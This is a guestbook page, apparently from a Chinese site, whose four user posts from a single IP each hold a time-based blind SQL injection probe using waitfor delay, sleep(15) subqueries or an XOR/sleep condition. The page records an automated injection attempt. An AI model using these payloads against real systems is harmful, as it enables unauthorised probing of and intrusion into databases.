用户留言：
用户：姓名（请填写您的真实姓名）IP:83.253.6.141[2021-02-28 08:57:06]
O2DG8pRe'; waitfor delay '0:0:15' --
用户：姓名（请填写您的真实姓名）IP:83.253.6.141[2021-02-28 08:57:05]
1 waitfor delay '0:0:15' --
用户：姓名（请填写您的真实姓名）IP:83.253.6.141[2021-02-28 08:57:04]
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
用户：姓名（请填写您的真实姓名）IP:83.253.6.141[2021-02-28 08:57:04]
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
